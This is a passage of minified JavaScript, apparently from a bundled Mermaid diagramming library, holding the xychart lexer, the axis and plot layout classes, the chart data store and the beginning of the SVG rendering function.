this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:B?(B.length===F.length?this.yylloc.first_column:0)+F[F.length-B.length].length-B[0].length:this.yylloc.first_column-P},this.options.ranges&&(this.yylloc.range=[G[0],G[0]+this.yyleng-P]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(M){this.unput(this.match.slice(M))},"less"),pastInput:o(function(){var M=this.matched.substr(0,this.matched.length-this.match.length);return(M.length>20?"...":"")+M.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var M=this.match;return M.length<20&&(M+=this._input.substr(0,20-M.length)),(M.substr(0,20)+(M.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var M=this.pastInput(),P=new Array(M.length+1).join("-");return M+this.upcomingInput()+` +`+P+"^"},"showPosition"),test_match:o(function(M,P){var B,F,G;if(this.options.backtrack_lexer&&(G={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(G.yylloc.range=this.yylloc.range.slice(0))),F=M[0].match(/(?:\r\n?|\n).*/g),F&&(this.yylineno+=F.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:F?F[F.length-1].length-F[F.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+M[0].length},this.yytext+=M[0],this.match+=M[0],this.matches=M,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(M[0].length),this.matched+=M[0],B=this.performAction.call(this,this.yy,this,P,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),B)return B;if(this._backtrack){for(var $ in G)this[$]=G[$];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var M,P,B,F;this._more||(this.yytext="",this.match="");for(var G=this._currentRules(),$=0;$P[0].length)){if(P=B,F=$,this.options.backtrack_lexer){if(M=this.test_match(B,G[$]),M!==!1)return M;if(this._backtrack){P=!1;continue}else return!1}else if(!this.options.flex)break}return P?(M=this.test_match(P,G[F]),M!==!1?M:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var P=this.next();return P||this.lex()},"lex"),begin:o(function(P){this.conditionStack.push(P)},"begin"),popState:o(function(){var P=this.conditionStack.length-1;return P>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(P){return P=this.conditionStack.length-1-Math.abs(P||0),P>=0?this.conditionStack[P]:"INITIAL"},"topState"),pushState:o(function(P){this.begin(P)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(P,B,F,G){var $=G;switch(F){case 0:break;case 1:break;case 2:return this.popState(),34;break;case 3:return this.popState(),34;break;case 4:return 34;case 5:break;case 6:return 10;case 7:return this.pushState("acc_title"),19;break;case 8:return this.popState(),"acc_title_value";break;case 9:return this.pushState("acc_descr"),21;break;case 10:return this.popState(),"acc_descr_value";break;case 11:this.pushState("acc_descr_multiline");break;case 12:this.popState();break;case 13:return"acc_descr_multiline_value";case 14:return 5;case 15:return 5;case 16:return 8;case 17:return this.pushState("axis_data"),"X_AXIS";break;case 18:return this.pushState("axis_data"),"Y_AXIS";break;case 19:return this.pushState("axis_band_data"),24;break;case 20:return 31;case 21:return this.pushState("data"),16;break;case 22:return this.pushState("data"),18;break;case 23:return this.pushState("data_inner"),24;break;case 24:return 27;case 25:return this.popState(),26;break;case 26:this.popState();break;case 27:this.pushState("string");break;case 28:this.popState();break;case 29:return"STR";case 30:return 24;case 31:return 26;case 32:return 43;case 33:return"COLON";case 34:return 44;case 35:return 28;case 36:return 45;case 37:return 46;case 38:return 48;case 39:return 50;case 40:return 47;case 41:return 41;case 42:return 49;case 43:return 42;case 44:break;case 45:return 35;case 46:return 36}},"anonymous"),rules:[/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:(\r?\n))/i,/^(?:(\r?\n))/i,/^(?:[\n\r]+)/i,/^(?:%%[^\n]*)/i,/^(?:title\b)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:\{)/i,/^(?:[^\}]*)/i,/^(?:xychart-beta\b)/i,/^(?:xychart\b)/i,/^(?:(?:vertical|horizontal))/i,/^(?:x-axis\b)/i,/^(?:y-axis\b)/i,/^(?:\[)/i,/^(?:-->)/i,/^(?:line\b)/i,/^(?:bar\b)/i,/^(?:\[)/i,/^(?:[+-]?(?:\d+(?:\.\d+)?|\.\d+))/i,/^(?:\])/i,/^(?:(?:`\) \{ this\.pushState\(md_string\); \}\n\(\?:\(\?!`"\)\.\)\+ \{ return MD_STR; \}\n\(\?:`))/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:\[)/i,/^(?:\])/i,/^(?:[A-Za-z]+)/i,/^(?::)/i,/^(?:\+)/i,/^(?:,)/i,/^(?:=)/i,/^(?:\*)/i,/^(?:#)/i,/^(?:[\_])/i,/^(?:\.)/i,/^(?:&)/i,/^(?:-)/i,/^(?:[0-9]+)/i,/^(?:\s+)/i,/^(?:;)/i,/^(?:$)/i],conditions:{data_inner:{rules:[0,1,4,5,6,7,9,11,14,15,16,17,18,21,22,24,25,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0},data:{rules:[0,1,3,4,5,6,7,9,11,14,15,16,17,18,21,22,23,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0},axis_band_data:{rules:[0,1,4,5,6,7,9,11,14,15,16,17,18,21,22,25,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0},axis_data:{rules:[0,1,2,4,5,6,7,9,11,14,15,16,17,18,19,20,21,22,24,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0},acc_descr_multiline:{rules:[12,13],inclusive:!1},acc_descr:{rules:[10],inclusive:!1},acc_title:{rules:[8],inclusive:!1},title:{rules:[],inclusive:!1},md_string:{rules:[],inclusive:!1},string:{rules:[28,29],inclusive:!1},INITIAL:{rules:[0,1,4,5,6,7,9,11,14,15,16,17,18,21,22,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0}}};return O})();E.lexer=D;function _(){this.yy={}}return o(_,"Parser"),_.prototype=E,E.Parser=_,new _})();GF.parser=GF;j1e=GF});function VF(t){return t.type==="bar"}function U6(t){return t.type==="band"}function ry(t){return t.type==="linear"}var H6=N(()=>{"use strict";o(VF,"isBarPlot");o(U6,"isBandAxisData");o(ry,"isLinearAxisData")});var ny,UF=N(()=>{"use strict";zo();ny=class{constructor(e){this.parentGroup=e}static{o(this,"TextDimensionCalculatorWithFont")}getMaxDimension(e,r){if(!this.parentGroup)return{width:e.reduce((a,s)=>Math.max(s.length,a),0)*r,height:r};let n={width:0,height:0},i=this.parentGroup.append("g").attr("visibility","hidden").attr("font-size",r);for(let a of e){let s=qZ(i,1,a),l=s?s.width:a.length*r,u=s?s.height:r;n.width=Math.max(n.width,l),n.height=Math.max(n.height,u)}return i.remove(),n}}});var iy,HF=N(()=>{"use strict";iy=class{constructor(e,r,n,i){this.axisConfig=e;this.title=r;this.textDimensionCalculator=n;this.axisThemeConfig=i;this.boundingRect={x:0,y:0,width:0,height:0};this.axisPosition="left";this.showTitle=!1;this.showLabel=!1;this.showTick=!1;this.showAxisLine=!1;this.outerPadding=0;this.titleTextHeight=0;this.labelTextHeight=0;this.range=[0,10],this.boundingRect={x:0,y:0,width:0,height:0},this.axisPosition="left"}static{o(this,"BaseAxis")}setRange(e){this.range=e,this.axisPosition==="left"||this.axisPosition==="right"?this.boundingRect.height=e[1]-e[0]:this.boundingRect.width=e[1]-e[0],this.recalculateScale()}getRange(){return[this.range[0]+this.outerPadding,this.range[1]-this.outerPadding]}setAxisPosition(e){this.axisPosition=e,this.setRange(this.range)}getTickDistance(){let e=this.getRange();return Math.abs(e[0]-e[1])/this.getTickValues().length}getAxisOuterPadding(){return this.outerPadding}getLabelDimension(){return this.textDimensionCalculator.getMaxDimension(this.getTickValues().map(e=>e.toString()),this.axisConfig.labelFontSize)}recalculateOuterPaddingToDrawBar(){.7*this.getTickDistance()>this.outerPadding*2&&(this.outerPadding=Math.floor(.7*this.getTickDistance()/2)),this.recalculateScale()}calculateSpaceIfDrawnHorizontally(e){let r=e.height;if(this.axisConfig.showAxisLine&&r>this.axisConfig.axisLineWidth&&(r-=this.axisConfig.axisLineWidth,this.showAxisLine=!0),this.axisConfig.showLabel){let n=this.getLabelDimension(),i=.2*e.width;this.outerPadding=Math.min(n.width/2,i);let a=n.height+this.axisConfig.labelPadding*2;this.labelTextHeight=n.height,a<=r&&(r-=a,this.showLabel=!0)}if(this.axisConfig.showTick&&r>=this.axisConfig.tickLength&&(this.showTick=!0,r-=this.axisConfig.tickLength),this.axisConfig.showTitle&&this.title){let n=this.textDimensionCalculator.getMaxDimension([this.title],this.axisConfig.titleFontSize),i=n.height+this.axisConfig.titlePadding*2;this.titleTextHeight=n.height,i<=r&&(r-=i,this.showTitle=!0)}this.boundingRect.width=e.width,this.boundingRect.height=e.height-r}calculateSpaceIfDrawnVertical(e){let r=e.width;if(this.axisConfig.showAxisLine&&r>this.axisConfig.axisLineWidth&&(r-=this.axisConfig.axisLineWidth,this.showAxisLine=!0),this.axisConfig.showLabel){let n=this.getLabelDimension(),i=.2*e.height;this.outerPadding=Math.min(n.height/2,i);let a=n.width+this.axisConfig.labelPadding*2;a<=r&&(r-=a,this.showLabel=!0)}if(this.axisConfig.showTick&&r>=this.axisConfig.tickLength&&(this.showTick=!0,r-=this.axisConfig.tickLength),this.axisConfig.showTitle&&this.title){let n=this.textDimensionCalculator.getMaxDimension([this.title],this.axisConfig.titleFontSize),i=n.height+this.axisConfig.titlePadding*2;this.titleTextHeight=n.height,i<=r&&(r-=i,this.showTitle=!0)}this.boundingRect.width=e.width-r,this.boundingRect.height=e.height}calculateSpace(e){return this.axisPosition==="left"||this.axisPosition==="right"?this.calculateSpaceIfDrawnVertical(e):this.calculateSpaceIfDrawnHorizontally(e),this.recalculateScale(),{width:this.boundingRect.width,height:this.boundingRect.height}}setBoundingBoxXY(e){this.boundingRect.x=e.x,this.boundingRect.y=e.y}getDrawableElementsForLeftAxis(){let e=[];if(this.showAxisLine){let r=this.boundingRect.x+this.boundingRect.width-this.axisConfig.axisLineWidth/2;e.push({type:"path",groupTexts:["left-axis","axisl-line"],data:[{path:`M ${r},${this.boundingRect.y} L ${r},${this.boundingRect.y+this.boundingRect.height} `,strokeFill:this.axisThemeConfig.axisLineColor,strokeWidth:this.axisConfig.axisLineWidth}]})}if(this.showLabel&&e.push({type:"text",groupTexts:["left-axis","label"],data:this.getTickValues().map(r=>({text:r.toString(),x:this.boundingRect.x+this.boundingRect.width-(this.showLabel?this.axisConfig.labelPadding:0)-(this.showTick?this.axisConfig.tickLength:0)-(this.showAxisLine?this.axisConfig.axisLineWidth:0),y:this.getScaleValue(r),fill:this.axisThemeConfig.labelColor,fontSize:this.axisConfig.labelFontSize,rotation:0,verticalPos:"middle",horizontalPos:"right"}))}),this.showTick){let r=this.boundingRect.x+this.boundingRect.width-(this.showAxisLine?this.axisConfig.axisLineWidth:0);e.push({type:"path",groupTexts:["left-axis","ticks"],data:this.getTickValues().map(n=>({path:`M ${r},${this.getScaleValue(n)} L ${r-this.axisConfig.tickLength},${this.getScaleValue(n)}`,strokeFill:this.axisThemeConfig.tickColor,strokeWidth:this.axisConfig.tickWidth}))})}return this.showTitle&&e.push({type:"text",groupTexts:["left-axis","title"],data:[{text:this.title,x:this.boundingRect.x+this.axisConfig.titlePadding,y:this.boundingRect.y+this.boundingRect.height/2,fill:this.axisThemeConfig.titleColor,fontSize:this.axisConfig.titleFontSize,rotation:270,verticalPos:"top",horizontalPos:"center"}]}),e}getDrawableElementsForBottomAxis(){let e=[];if(this.showAxisLine){let r=this.boundingRect.y+this.axisConfig.axisLineWidth/2;e.push({type:"path",groupTexts:["bottom-axis","axis-line"],data:[{path:`M ${this.boundingRect.x},${r} L ${this.boundingRect.x+this.boundingRect.width},${r}`,strokeFill:this.axisThemeConfig.axisLineColor,strokeWidth:this.axisConfig.axisLineWidth}]})}if(this.showLabel&&e.push({type:"text",groupTexts:["bottom-axis","label"],data:this.getTickValues().map(r=>({text:r.toString(),x:this.getScaleValue(r),y:this.boundingRect.y+this.axisConfig.labelPadding+(this.showTick?this.axisConfig.tickLength:0)+(this.showAxisLine?this.axisConfig.axisLineWidth:0),fill:this.axisThemeConfig.labelColor,fontSize:this.axisConfig.labelFontSize,rotation:0,verticalPos:"top",horizontalPos:"center"}))}),this.showTick){let r=this.boundingRect.y+(this.showAxisLine?this.axisConfig.axisLineWidth:0);e.push({type:"path",groupTexts:["bottom-axis","ticks"],data:this.getTickValues().map(n=>({path:`M ${this.getScaleValue(n)},${r} L ${this.getScaleValue(n)},${r+this.axisConfig.tickLength}`,strokeFill:this.axisThemeConfig.tickColor,strokeWidth:this.axisConfig.tickWidth}))})}return this.showTitle&&e.push({type:"text",groupTexts:["bottom-axis","title"],data:[{text:this.title,x:this.range[0]+(this.range[1]-this.range[0])/2,y:this.boundingRect.y+this.boundingRect.height-this.axisConfig.titlePadding-this.titleTextHeight,fill:this.axisThemeConfig.titleColor,fontSize:this.axisConfig.titleFontSize,rotation:0,verticalPos:"top",horizontalPos:"center"}]}),e}getDrawableElementsForTopAxis(){let e=[];if(this.showAxisLine){let r=this.boundingRect.y+this.boundingRect.height-this.axisConfig.axisLineWidth/2;e.push({type:"path",groupTexts:["top-axis","axis-line"],data:[{path:`M ${this.boundingRect.x},${r} L ${this.boundingRect.x+this.boundingRect.width},${r}`,strokeFill:this.axisThemeConfig.axisLineColor,strokeWidth:this.axisConfig.axisLineWidth}]})}if(this.showLabel&&e.push({type:"text",groupTexts:["top-axis","label"],data:this.getTickValues().map(r=>({text:r.toString(),x:this.getScaleValue(r),y:this.boundingRect.y+(this.showTitle?this.titleTextHeight+this.axisConfig.titlePadding*2:0)+this.axisConfig.labelPadding,fill:this.axisThemeConfig.labelColor,fontSize:this.axisConfig.labelFontSize,rotation:0,verticalPos:"top",horizontalPos:"center"}))}),this.showTick){let r=this.boundingRect.y;e.push({type:"path",groupTexts:["top-axis","ticks"],data:this.getTickValues().map(n=>({path:`M ${this.getScaleValue(n)},${r+this.boundingRect.height-(this.showAxisLine?this.axisConfig.axisLineWidth:0)} L ${this.getScaleValue(n)},${r+this.boundingRect.height-this.axisConfig.tickLength-(this.showAxisLine?this.axisConfig.axisLineWidth:0)}`,strokeFill:this.axisThemeConfig.tickColor,strokeWidth:this.axisConfig.tickWidth}))})}return this.showTitle&&e.push({type:"text",groupTexts:["top-axis","title"],data:[{text:this.title,x:this.boundingRect.x+this.boundingRect.width/2,y:this.boundingRect.y+this.axisConfig.titlePadding,fill:this.axisThemeConfig.titleColor,fontSize:this.axisConfig.titleFontSize,rotation:0,verticalPos:"top",horizontalPos:"center"}]}),e}getDrawableElements(){if(this.axisPosition==="left")return this.getDrawableElementsForLeftAxis();if(this.axisPosition==="right")throw Error("Drawing of right axis is not implemented");return this.axisPosition==="bottom"?this.getDrawableElementsForBottomAxis():this.axisPosition==="top"?this.getDrawableElementsForTopAxis():[]}}});var q6,Q1e=N(()=>{"use strict";yr();pt();HF();q6=class extends iy{static{o(this,"BandAxis")}constructor(e,r,n,i,a){super(e,i,a,r),this.categories=n,this.scale=q0().domain(this.categories).range(this.getRange())}setRange(e){super.setRange(e)}recalculateScale(){this.scale=q0().domain(this.categories).range(this.getRange()).paddingInner(1).paddingOuter(0).align(.5),X.trace("BandAxis axis final categories, range: ",this.categories,this.getRange())}getTickValues(){return this.categories}getScaleValue(e){return this.scale(e)??this.getRange()[0]}}});var W6,Z1e=N(()=>{"use strict";yr();HF();W6=class extends iy{static{o(this,"LinearAxis")}constructor(e,r,n,i,a){super(e,i,a,r),this.domain=n,this.scale=Tl().domain(this.domain).range(this.getRange())}getTickValues(){return this.scale.ticks()}recalculateScale(){let e=[...this.domain];this.axisPosition==="left"&&e.reverse(),this.scale=Tl().domain(e).range(this.getRange())}getScaleValue(e){return this.scale(e)}}});function qF(t,e,r,n){let i=new ny(n);return U6(t)?new q6(e,r,t.categories,t.title,i):new W6(e,r,[t.min,t.max],t.title,i)}var J1e=N(()=>{"use strict";H6();UF();Q1e();Z1e();o(qF,"getAxis")});function eye(t,e,r,n){let i=new ny(n);return new WF(i,t,e,r)}var WF,tye=N(()=>{"use strict";UF();WF=class{constructor(e,r,n,i){this.textDimensionCalculator=e;this.chartConfig=r;this.chartData=n;this.chartThemeConfig=i;this.boundingRect={x:0,y:0,width:0,height:0},this.showChartTitle=!1}static{o(this,"ChartTitle")}setBoundingBoxXY(e){this.boundingRect.x=e.x,this.boundingRect.y=e.y}calculateSpace(e){let r=this.textDimensionCalculator.getMaxDimension([this.chartData.title],this.chartConfig.titleFontSize),n=Math.max(r.width,e.width),i=r.height+2*this.chartConfig.titlePadding;return r.width<=n&&r.height<=i&&this.chartConfig.showTitle&&this.chartData.title&&(this.boundingRect.width=n,this.boundingRect.height=i,this.showChartTitle=!0),{width:this.boundingRect.width,height:this.boundingRect.height}}getDrawableElements(){let e=[];return this.showChartTitle&&e.push({groupTexts:["chart-title"],type:"text",data:[{fontSize:this.chartConfig.titleFontSize,text:this.chartData.title,verticalPos:"middle",horizontalPos:"center",x:this.boundingRect.x+this.boundingRect.width/2,y:this.boundingRect.y+this.boundingRect.height/2,fill:this.chartThemeConfig.titleColor,rotation:0}]}),e}};o(eye,"getChartTitleComponent")});var Y6,rye=N(()=>{"use strict";yr();Y6=class{constructor(e,r,n,i,a){this.plotData=e;this.xAxis=r;this.yAxis=n;this.orientation=i;this.plotIndex=a}static{o(this,"LinePlot")}getDrawableElement(){let e=this.plotData.data.map(n=>[this.xAxis.getScaleValue(n[0]),this.yAxis.getScaleValue(n[1])]),r;return this.orientation==="horizontal"?r=Cl().y(n=>n[0]).x(n=>n[1])(e):r=Cl().x(n=>n[0]).y(n=>n[1])(e),r?[{groupTexts:["plot",`line-plot-${this.plotIndex}`],type:"path",data:[{path:r,strokeFill:this.plotData.strokeFill,strokeWidth:this.plotData.strokeWidth}]}]:[]}}});var X6,nye=N(()=>{"use strict";X6=class{constructor(e,r,n,i,a,s){this.barData=e;this.boundingRect=r;this.xAxis=n;this.yAxis=i;this.orientation=a;this.plotIndex=s}static{o(this,"BarPlot")}getDrawableElement(){let e=this.barData.data.map(a=>[this.xAxis.getScaleValue(a[0]),this.yAxis.getScaleValue(a[1])]),n=Math.min(this.xAxis.getAxisOuterPadding()*2,this.xAxis.getTickDistance())*(1-.05),i=n/2;return this.orientation==="horizontal"?[{groupTexts:["plot",`bar-plot-${this.plotIndex}`],type:"rect",data:e.map(a=>({x:this.boundingRect.x,y:a[0]-i,height:n,width:a[1]-this.boundingRect.x,fill:this.barData.fill,strokeWidth:0,strokeFill:this.barData.fill}))}]:[{groupTexts:["plot",`bar-plot-${this.plotIndex}`],type:"rect",data:e.map(a=>({x:a[0]-i,y:a[1],width:n,height:this.boundingRect.y+this.boundingRect.height-a[1],fill:this.barData.fill,strokeWidth:0,strokeFill:this.barData.fill}))}]}}});function iye(t,e,r){return new YF(t,e,r)}var YF,aye=N(()=>{"use strict";rye();nye();YF=class{constructor(e,r,n){this.chartConfig=e;this.chartData=r;this.chartThemeConfig=n;this.boundingRect={x:0,y:0,width:0,height:0}}static{o(this,"BasePlot")}setAxes(e,r){this.xAxis=e,this.yAxis=r}setBoundingBoxXY(e){this.boundingRect.x=e.x,this.boundingRect.y=e.y}calculateSpace(e){return this.boundingRect.width=e.width,this.boundingRect.height=e.height,{width:this.boundingRect.width,height:this.boundingRect.height}}getDrawableElements(){if(!(this.xAxis&&this.yAxis))throw Error("Axes must be passed to render Plots");let e=[];for(let[r,n]of this.chartData.plots.entries())switch(n.type){case"line":{let i=new Y6(n,this.xAxis,this.yAxis,this.chartConfig.chartOrientation,r);e.push(...i.getDrawableElement())}break;case"bar":{let i=new X6(n,this.boundingRect,this.xAxis,this.yAxis,this.chartConfig.chartOrientation,r);e.push(...i.getDrawableElement())}break}return e}};o(iye,"getPlotComponent")});var j6,sye=N(()=>{"use strict";J1e();tye();aye();H6();j6=class{constructor(e,r,n,i){this.chartConfig=e;this.chartData=r;this.componentStore={title:eye(e,r,n,i),plot:iye(e,r,n),xAxis:qF(r.xAxis,e.xAxis,{titleColor:n.xAxisTitleColor,labelColor:n.xAxisLabelColor,tickColor:n.xAxisTickColor,axisLineColor:n.xAxisLineColor},i),yAxis:qF(r.yAxis,e.yAxis,{titleColor:n.yAxisTitleColor,labelColor:n.yAxisLabelColor,tickColor:n.yAxisTickColor,axisLineColor:n.yAxisLineColor},i)}}static{o(this,"Orchestrator")}calculateVerticalSpace(){let e=this.chartConfig.width,r=this.chartConfig.height,n=0,i=0,a=Math.floor(e*this.chartConfig.plotReservedSpacePercent/100),s=Math.floor(r*this.chartConfig.plotReservedSpacePercent/100),l=this.componentStore.plot.calculateSpace({width:a,height:s});e-=l.width,r-=l.height,l=this.componentStore.title.calculateSpace({width:this.chartConfig.width,height:r}),i=l.height,r-=l.height,this.componentStore.xAxis.setAxisPosition("bottom"),l=this.componentStore.xAxis.calculateSpace({width:e,height:r}),r-=l.height,this.componentStore.yAxis.setAxisPosition("left"),l=this.componentStore.yAxis.calculateSpace({width:e,height:r}),n=l.width,e-=l.width,e>0&&(a+=e,e=0),r>0&&(s+=r,r=0),this.componentStore.plot.calculateSpace({width:a,height:s}),this.componentStore.plot.setBoundingBoxXY({x:n,y:i}),this.componentStore.xAxis.setRange([n,n+a]),this.componentStore.xAxis.setBoundingBoxXY({x:n,y:i+s}),this.componentStore.yAxis.setRange([i,i+s]),this.componentStore.yAxis.setBoundingBoxXY({x:0,y:i}),this.chartData.plots.some(u=>VF(u))&&this.componentStore.xAxis.recalculateOuterPaddingToDrawBar()}calculateHorizontalSpace(){let e=this.chartConfig.width,r=this.chartConfig.height,n=0,i=0,a=0,s=Math.floor(e*this.chartConfig.plotReservedSpacePercent/100),l=Math.floor(r*this.chartConfig.plotReservedSpacePercent/100),u=this.componentStore.plot.calculateSpace({width:s,height:l});e-=u.width,r-=u.height,u=this.componentStore.title.calculateSpace({width:this.chartConfig.width,height:r}),n=u.height,r-=u.height,this.componentStore.xAxis.setAxisPosition("left"),u=this.componentStore.xAxis.calculateSpace({width:e,height:r}),e-=u.width,i=u.width,this.componentStore.yAxis.setAxisPosition("top"),u=this.componentStore.yAxis.calculateSpace({width:e,height:r}),r-=u.height,a=n+u.height,e>0&&(s+=e,e=0),r>0&&(l+=r,r=0),this.componentStore.plot.calculateSpace({width:s,height:l}),this.componentStore.plot.setBoundingBoxXY({x:i,y:a}),this.componentStore.yAxis.setRange([i,i+s]),this.componentStore.yAxis.setBoundingBoxXY({x:i,y:n}),this.componentStore.xAxis.setRange([a,a+l]),this.componentStore.xAxis.setBoundingBoxXY({x:0,y:a}),this.chartData.plots.some(h=>VF(h))&&this.componentStore.xAxis.recalculateOuterPaddingToDrawBar()}calculateSpace(){this.chartConfig.chartOrientation==="horizontal"?this.calculateHorizontalSpace():this.calculateVerticalSpace()}getDrawableElement(){this.calculateSpace();let e=[];this.componentStore.plot.setAxes(this.componentStore.xAxis,this.componentStore.yAxis);for(let r of Object.values(this.componentStore))e.push(...r.getDrawableElements());return e}}});var K6,oye=N(()=>{"use strict";sye();K6=class{static{o(this,"XYChartBuilder")}static build(e,r,n,i){return new j6(e,r,n,i).getDrawableElement()}}});function cye(){let t=mh(),e=Qt();return Vn(t.xyChart,e.themeVariables.xyChart)}function uye(){let t=Qt();return Vn(ur.xyChart,t.xyChart)}function hye(){return{yAxis:{type:"linear",title:"",min:1/0,max:-1/0},xAxis:{type:"band",title:"",categories:[]},title:"",plots:[]}}function KF(t){let e=Qt();return sr(t.trim(),e)}function kZe(t){lye=t}function EZe(t){t==="horizontal"?v4.chartOrientation="horizontal":v4.chartOrientation="vertical"}function SZe(t){pn.xAxis.title=KF(t.text)}function fye(t,e){pn.xAxis={type:"linear",title:pn.xAxis.title,min:t,max:e},Q6=!0}function CZe(t){pn.xAxis={type:"band",title:pn.xAxis.title,categories:t.map(e=>KF(e.text))},Q6=!0}function AZe(t){pn.yAxis.title=KF(t.text)}function _Ze(t,e){pn.yAxis={type:"linear",title:pn.yAxis.title,min:t,max:e},jF=!0}function DZe(t){let e=Math.min(...t),r=Math.max(...t),n=ry(pn.yAxis)?pn.yAxis.min:1/0,i=ry(pn.yAxis)?pn.yAxis.max:-1/0;pn.yAxis={type:"linear",title:pn.yAxis.title,min:Math.min(n,e),max:Math.max(i,r)}}function dye(t){let e=[];if(t.length===0)return e;if(!Q6){let r=ry(pn.xAxis)?pn.xAxis.min:1/0,n=ry(pn.xAxis)?pn.xAxis.max:-1/0;fye(Math.min(r,1),Math.max(n,t.length))}if(jF||DZe(t),U6(pn.xAxis)&&(e=pn.xAxis.categories.map((r,n)=>[r,t[n]])),ry(pn.xAxis)){let r=pn.xAxis.min,n=pn.xAxis.max,i=(n-r)/(t.length-1),a=[];for(let s=r;s<=n;s+=i)a.push(`${s}`);e=a.map((s,l)=>[s,t[l]])}return e}function pye(t){return XF[t===0?0:t%XF.length]}function LZe(t,e){let r=dye(e);pn.plots.push({type:"line",strokeFill:pye(y4),strokeWidth:2,data:r}),y4++}function RZe(t,e){let r=dye(e);pn.plots.push({type:"bar",fill:pye(y4),data:r}),y4++}function NZe(){if(pn.plots.length===0)throw Error("No Plot to render, please provide a plot with some data");return pn.title=Pr(),K6.build(v4,pn,x4,lye)}function MZe(){return x4}function IZe(){return v4}function OZe(){return pn}var y4,lye,v4,x4,pn,XF,Q6,jF,PZe,mye,gye=N(()=>{"use strict";qn();La();Oy();tr();gr();ci();oye();H6();y4=0,v4=uye(),x4=cye(),pn=hye(),XF=x4.plotColorPalette.split(",").map(t=>t.trim()),Q6=!1,jF=!1;o(cye,"getChartDefaultThemeConfig");o(uye,"getChartDefaultConfig");o(hye,"getChartDefaultData");o(KF,"textSanitizer");o(kZe,"setTmpSVGG");o(EZe,"setOrientation");o(SZe,"setXAxisTitle");o(fye,"setXAxisRangeData");o(CZe,"setXAxisBand");o(AZe,"setYAxisTitle");o(_Ze,"setYAxisRangeData");o(DZe,"setYAxisRangeFromPlotData");o(dye,"transformDataWithoutCategory");o(pye,"getPlotColorFromPalette");o(LZe,"setLineData");o(RZe,"setBarData");o(NZe,"getDrawableElem");o(MZe,"getChartThemeConfig");o(IZe,"getChartConfig");o(OZe,"getXYChartData");PZe=o(function(){Sr(),y4=0,v4=uye(),pn=hye(),x4=cye(),XF=x4.plotColorPalette.split(",").map(t=>t.trim()),Q6=!1,jF=!1},"clear"),mye={getDrawableElem:NZe,clear:PZe,setAccTitle:Rr,getAccTitle:Mr,setDiagramTitle:$r,getDiagramTitle:Pr,getAccDescription:Or,setAccDescription:Ir,setOrientation:EZe,setXAxisTitle:SZe,setXAxisRangeData:fye,setXAxisBand:CZe,setYAxisTitle:AZe,setYAxisRangeData:_Ze,setLineData:LZe,setBarData:RZe,setTmpSVGG:kZe,getChartThemeConfig:MZe,getChartConfig:IZe,getXYChartData:OZe}});var BZe,yye,vye=N(()=>{"use strict";pt();tu();Ei();BZe=o((t,e,r,n)=>{let i=n.db,a=i.getChartThemeConfig(),s=i.getChartConfig(),l=i.getXYChartData().plots[0].data.map(T=>T[1]);function u(T){return T==="top"?"text-before-edge":"middle"}o(u,"getDominantBaseLine");function h(T){return T==="left"?"start":T==="right"?"end":"middle"}o(h,"getTextAnchor");function f(T){return`translate(${T.x}, ${T.y}) rotate(${T.rotation||0})`}o(f,"getTextTransformation"),X.debug(`Rendering xychart chart +`+t);let d=aa(e),p=d.append("g").attr("class","main"),m=p.append("rect").attr("width",s.width).attr("height",s.height).attr("class","background");mn(d,s.height,s.width,!0),d.attr("viewBox",`0 0 ${s.width} ${s.height}`),m.attr("fill",a.backgroundColor),i.setTmpSVGG(d.append("g").attr("class","mermaid-tmp-group"));let g=i.getDrawableElem(),y={};function v(T){let S=p,w="";for(let[k]of T.entries()){let A=p;k>0&&y[w]&&(A=y[w]),w+=T[k],S=y[w],S||(S=y[w]=A.append("g").attr("class",T[k]))}return S}o(v,"getGroup");for(let T of g){if(T.data.length===0)continue;let 